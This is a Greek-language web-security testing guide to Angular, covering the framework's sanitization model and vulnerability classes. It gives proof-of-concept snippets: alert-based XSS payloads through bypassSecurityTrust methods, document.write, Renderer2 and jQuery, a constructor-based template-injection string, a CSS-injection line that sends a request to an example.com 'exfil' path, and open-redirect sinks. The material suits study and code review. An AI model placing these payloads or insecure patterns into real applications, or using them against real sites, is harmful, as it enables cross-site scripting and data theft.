Angular

The Checklist

Checklist from here.

What is Angular

Το Angular είναι ένα ισχυρό και ανοιχτού κώδικα πλαίσιο front-end που διατηρείται από την Google. Χρησιμοποιεί TypeScript για να ενισχύσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες από την πλευρά του πελάτη όπως XSS και ανοιχτές ανακατευθύνσεις. Μπορεί να χρησιμοποιηθεί και από την πλευρά του διακομιστή, καθιστώντας τις παρατηρήσεις ασφαλείας σημαντικές από και τις δύο πλευρές.

Framework architecture

Για να κατανοήσουμε καλύτερα τα βασικά του Angular, ας περάσουμε από τις βασικές του έννοιες.

Ένα κοινό έργο Angular συνήθως φαίνεται έτσι:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (AppComponent) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής, και σχετίζεται με ένα HTML πρότυπο που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής @Component() προσδιορίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το πρότυπο και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το AppComponent ορίζεται στο αρχείο app.component.ts.

Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά AppModule, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το AppModule ορίζεται στο αρχείο app.module.ts.

Το Angular Router NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολής στην εφαρμογή σας. Το RouterModule ορίζεται στο αρχείο app-routing.module.ts.

Για δεδομένα ή λογική που δεν σχετίζεται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή @Injectable(). Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη, ούτε καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.

Ρύθμιση sourcemap

Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του tsconfig.json και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του angular.json. Κοιτάζοντας το αρχείο angular.json, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα σενάρια και δεν είναι κρυφό από προεπιλογή:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν τα sourcemaps είναι ενεργοποιημένα, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα.

Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → [id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος //# sourceMappingURL=[id].main.js.map ή μπορεί να μην περιέχει, εάν η κρυφή επιλογή είναι ρυθμισμένη σε true. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για scripts, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά τη διάρκεια της κατασκευής του έργου όπως ng build --source-map.

Δεσμεύσεις δεδομένων

Η δέσμευση αναφέρεται στη διαδικασία επικοινωνίας μεταξύ ενός συστατικού και της αντίστοιχης προβολής του. Χρησιμοποιείται για τη μεταφορά δεδομένων προς και από το πλαίσιο Angular. Τα δεδομένα μπορούν να περαστούν με διάφορους τρόπους, όπως μέσω γεγονότων, παρεμβολής, ιδιοτήτων ή μέσω του μηχανισμού δέσμευσης δύο κατευθύνσεων. Επιπλέον, τα δεδομένα μπορούν επίσης να μοιραστούν μεταξύ σχετικών συστατικών (σχέση γονέα-παιδιού) και μεταξύ δύο άσχετων συστατικών χρησιμοποιώντας τη δυνατότητα Υπηρεσίας.

Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων:

  • Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει παρεμβολή, ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ); μπορεί να εφαρμοστεί χρησιμοποιώντας [] ή {{}} στο πρότυπο;

  • Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει γεγονότα); μπορεί να εφαρμοστεί χρησιμοποιώντας () στο πρότυπο;

  • Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας [()] στο πρότυπο.

Η δέσμευση μπορεί να κληθεί σε ιδιότητες, γεγονότα και ατομικά χαρακτηριστικά, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας:

ΤΥΠΟΣ
ΣΤΟΧΟΣ
ΠΑΡΑΔΕΙΓΜΑΤΑ

Ιδιότητα

Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας

<img [alt]="hero.name" [src]="heroImageUrl">

Γεγονός

Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας

<button type="button" (click)="onSave()">Αποθήκευση

Δύο κατευθύνσεων

Γεγονός και ιδιότητα

<input [(ngModel)]="name">

Ατομικό χαρακτηριστικό

Ατομικό χαρακτηριστικό (η εξαίρεση)

<button type="button" [attr.aria-label]="help">βοήθεια

Κλάση

Ιδιότητα κλάσης

<div [class.special]="isSpecial">Ειδικό

Στυλ

Ιδιότητα στυλ

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Μοντέλο ασφάλειας Angular

Ο σχεδιασμός του Angular περιλαμβάνει την κωδικοποίηση ή την απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολο να ανακαλυφθούν και να εκμεταλλευτούν οι ευπάθειες XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για τη διαχείριση δεδομένων:

  1. Παρεμβολή ή {{user_input}} - εκτελεί κωδικοποίηση ευαίσθητη στο πλαίσιο και ερμηνεύει την είσοδο του χρήστη ως κείμενο;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Αποτέλεσμα: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Δέσμευση σε ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ ή [attribute]="user_input" - εκτελεί απολύμανση με βάση το παρεχόμενο πλαίσιο ασφάλειας.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Αποτέλεσμα: <div><h1>test</h1></div>

Υπάρχουν 6 τύποι SecurityContext :

  • None;

  • HTML χρησιμοποιείται, όταν ερμηνεύεται η τιμή ως HTML;

  • STYLE χρησιμοποιείται, όταν δέσμευσης CSS στην ιδιότητα style;

  • URL χρησιμοποιείται για ιδιότητες URL, όπως <a href>;

  • SCRIPT χρησιμοποιείται για κώδικα JavaScript;

  • RESOURCE_URL ως URL που φορτώνεται και εκτελείται ως κώδικας, για παράδειγμα, στο <script src>.

Ευπάθειες

Παράκαμψη μεθόδων εμπιστοσύνης ασφάλειας

Ο Angular εισάγει μια λίστα μεθόδων για να παρακάμψει τη διαδικασία προεπιλεγμένης απολύμανσης και να υποδείξει ότι μια τιμή μπορεί να χρησιμοποιηθεί με ασφάλεια σε ένα συγκεκριμένο πλαίσιο, όπως στα παρακάτω πέντε παραδείγματα:

  1. bypassSecurityTrustUrl χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι μια ασφαλής διεύθυνση URL στυλ:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Κάντε κλικ σε μένα</a>

//αποτέλεσμα
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Κάντε κλικ σε μένα</a>
  1. bypassSecurityTrustResourceUrl χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι μια ασφαλής διεύθυνση URL πόρου:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//αποτέλεσμα
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλές HTML. Σημειώστε ότι η εισαγωγή στοιχείων script στο δέντρο DOM με αυτόν τον τρόπο δεν θα προκαλέσει την εκτέλεση του περιεχόμενου JavaScript κώδικα, λόγω του τρόπου που προστίθενται αυτά τα στοιχεία στο δέντρο DOM.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//αποτέλεσμα
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλής JavaScript. Ωστόσο, βρήκαμε ότι η συμπεριφορά της είναι απρόβλεπτη, επειδή δεν μπορέσαμε να εκτελέσουμε κώδικα JS σε πρότυπα χρησιμοποιώντας αυτή τη μέθοδο.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//αποτέλεσμα
-
  1. bypassSecurityTrustStyle χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλής CSS. Το παρακάτω παράδειγμα απεικονίζει την εισαγωγή CSS:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//αποτέλεσμα
Request URL: GET example.com/exfil/a

Ο Angular παρέχει μια μέθοδο sanitize για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφάλειας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφάλειας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με SecurityContext.URL σε περιεχόμενο HTML δεν παρέχει προστασία από επικίνδυνες τιμές HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφάλειας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.

Εισαγωγή HTML

Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη δεσμεύεται σε οποιαδήποτε από τις τρεις ιδιότητες: innerHTML, outerHTML, ή iframe srcdoc. Ενώ η δέσμευση σε αυτά τα χαρακτηριστικά ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας SecurityContext.HTML. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σκριπτογράφηση (XSS) δεν είναι.

Παράδειγμα χρήσης innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Το αποτέλεσμα είναι <div><h1>test</h1></div>.

Εισαγωγή προτύπων

Απόδοση πελάτη (CSR)

Το Angular εκμεταλλεύεται τα πρότυπα για να κατασκευάσει σελίδες δυναμικά. Η προσέγγιση περιλαμβάνει την περιτύλιξη εκφράσεων προτύπου που πρέπει να αξιολογηθούν από το Angular μέσα σε διπλές αγκύλες ({{}}). Με αυτόν τον τρόπο, το πλαίσιο προσφέρει επιπλέον λειτουργικότητα. Για παράδειγμα, ένα πρότυπο όπως {{1+1}} θα εμφανίζεται ως 2.

Συνήθως, το Angular διαφεύγει την είσοδο του χρήστη που μπορεί να συγχέεται με εκφράσεις προτύπου (π.χ., χαρακτήρες όπως `< > ' " ``). Αυτό σημαίνει ότι απαιτούνται επιπλέον βήματα για να παρακαμφθεί αυτός ο περιορισμός, όπως η χρήση συναρτήσεων που δημιουργούν αντικείμενα συμβολοσειρών JavaScript για να αποφευχθεί η χρήση αποκλεισμένων χαρακτήρων. Ωστόσο, για να το επιτύχουμε αυτό, πρέπει να λάβουμε υπόψη το πλαίσιο του Angular, τις ιδιότητές του και τις μεταβλητές. Επομένως, μια επίθεση εισαγωγής προτύπου μπορεί να φαίνεται ως εξής:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Όπως φαίνεται παραπάνω: constructor αναφέρεται στο πεδίο της ιδιότητας Object constructor, επιτρέποντάς μας να καλέσουμε τον κατασκευαστή String και να εκτελέσουμε αυθαίρετο κώδικα.

Server-Side Rendering (SSR)

Σε αντίθεση με το CSR, το οποίο συμβαίνει στο DOM του προγράμματος περιήγησης, το Angular Universal είναι υπεύθυνο για το SSR των αρχείων προτύπων. Αυτά τα αρχεία παραδίδονται στη συνέχεια στον χρήστη. Παρά αυτή τη διάκριση, το Angular Universal εφαρμόζει τους ίδιους μηχανισμούς απολύμανσης που χρησιμοποιούνται στο CSR για να ενισχύσει την ασφάλεια του SSR. Μια ευπάθεια εισαγωγής προτύπου στο SSR μπορεί να εντοπιστεί με τον ίδιο τρόπο όπως στο CSR, επειδή η χρησιμοποιούμενη γλώσσα προτύπων είναι η ίδια.

Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως το Pug και το Handlebars.

XSS

DOM interfaces

Όπως αναφέρθηκε προηγουμένως, μπορούμε να έχουμε άμεση πρόσβαση στο DOM χρησιμοποιώντας τη διεπαφή Document. Εάν η είσοδος του χρήστη δεν επικυρωθεί εκ των προτέρων, μπορεί να οδηγήσει σε ευπάθειες cross-site scripting (XSS).

Χρησιμοποιήσαμε τις μεθόδους document.write() και document.createElement() στα παραδείγματα παρακάτω:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular classes

Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: ElementRef, Renderer2, Location και Document. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα Open redirects. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API Renderer2 παρέχει μια στρώση αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το ElementRef απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API ElementRef θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.

  • Το ElementRef περιέχει την ιδιότητα nativeElement, η οποία μπορεί να χρησιμοποιηθεί για να χειριστεί τα στοιχεία DOM. Ωστόσο, η ακατάλληλη χρήση του nativeElement μπορεί να έχει ως αποτέλεσμα μια ευπάθεια XSS, όπως φαίνεται παρακάτω:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Παρά το γεγονός ότι το Renderer2 παρέχει API που μπορεί να χρησιμοποιηθεί με ασφάλεια ακόμη και όταν η άμεση πρόσβαση σε εγγενή στοιχεία δεν υποστηρίζεται, εξακολουθεί να έχει ορισμένα κενά ασφαλείας. Με το Renderer2, είναι δυνατό να ορίσετε χαρακτηριστικά σε ένα στοιχείο HTML χρησιμοποιώντας τη μέθοδο setAttribute(), η οποία δεν έχει μηχανισμούς πρόληψης XSS.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Για να ορίσετε την ιδιότητα ενός στοιχείου DOM, μπορείτε να χρησιμοποιήσετε τη μέθοδο Renderer2.setProperty() και να ενεργοποιήσετε μια επίθεση XSS:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Κατά τη διάρκεια της έρευνάς μας, εξετάσαμε επίσης τη συμπεριφορά άλλων μεθόδων Renderer2, όπως setStyle(), createComment(), και setValue(), σε σχέση με XSS και CSS injections. Ωστόσο, δεν μπορέσαμε να βρούμε έγκυρους επιθετικούς διαδρόμους για αυτές τις μεθόδους λόγω των λειτουργικών περιορισμών τους.

jQuery

Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την επεξεργασία των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα.

  • Η μέθοδος html() αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την εισαγωγή ετικετών <script> ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • Η μέθοδος jQuery.parseHTML() χρησιμοποιεί εγγενείς μεθόδους για να μετατρέψει τη συμβολοσειρά σε ένα σύνολο κόμβων DOM, οι οποίοι μπορούν στη συνέχεια να εισαχθούν στο έγγραφο.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Όπως αναφέρθηκε προηγουμένως, οι περισσότερες APIs jQuery που δέχονται HTML συμβολοσειρές θα εκτελούν σενάρια που περιλαμβάνονται στην HTML. Η μέθοδος jQuery.parseHTML() δεν εκτελεί σενάρια στην αναλυθείσα HTML εκτός αν το keepScripts είναι ρητά true. Ωστόσο, είναι ακόμα δυνατό σε πολλές περιβάλλοντα να εκτελούνται σενάρια έμμεσα, για παράδειγμα, μέσω του χαρακτηριστικού <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM interfaces

Σύμφωνα με την τεκμηρίωση W3C, τα αντικείμενα window.location και document.location θεωρούνται ψευδώνυμα στους σύγχρονους περιηγητές. Γι' αυτό έχουν παρόμοια υλοποίηση ορισμένων μεθόδων και ιδιοτήτων, οι οποίες μπορεί να προκαλέσουν μια ανοιχτή ανακατεύθυνση και DOM XSS με επιθέσεις σχήματος javascript:// όπως αναφέρεται παρακάτω.

  • window.location.href(και document.location.href)

Ο κανονικός τρόπος για να αποκτήσετε το τρέχον αντικείμενο τοποθεσίας DOM είναι χρησιμοποιώντας το window.location. Μπορεί επίσης να χρησιμοποιηθεί για να ανακατευθύνει τον περιηγητή σε μια νέα σελίδα. Ως αποτέλεσμα, η κατοχή ελέγχου αυτού του αντικειμένου μας επιτρέπει να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Η διαδικασία εκμετάλλευσης είναι ταυτόσημη για τα παρακάτω σενάρια.

  • window.location.assign()(και document.location.assign())

Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο σε αυτή τη μέθοδο, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(και document.location.replace())

Αυτή η μέθοδος αντικαθιστά τον τρέχοντα πόρο με αυτόν στη δεδομένη διεύθυνση URL.

Αυτό διαφέρει από τη μέθοδο assign() καθώς μετά τη χρήση του window.location.replace(), η τρέχουσα σελίδα δεν θα αποθηκευτεί στην Ιστορία της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Η μέθοδος window.open() δέχεται μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular classes

  • Σύμφωνα με την τεκμηρίωση του Angular, το Angular Document είναι το ίδιο με το έγγραφο DOM, που σημαίνει ότι είναι δυνατό να χρησιμοποιηθούν κοινοί διάδρομοι για το έγγραφο DOM για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοι Document.location μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση Location του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Το Location είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL του περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - go(), replaceState(), και prepareExternalUrl(). Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Αποτέλεσμα: http://localhost:4200/http://google.com/about

  • Η κλάση Router του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει επιπλέον ευπάθειες στην εφαρμογή:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Αποτέλεσμα: http://localhost:4200/https:

Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του πεδίου του τομέα:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

References

Last updated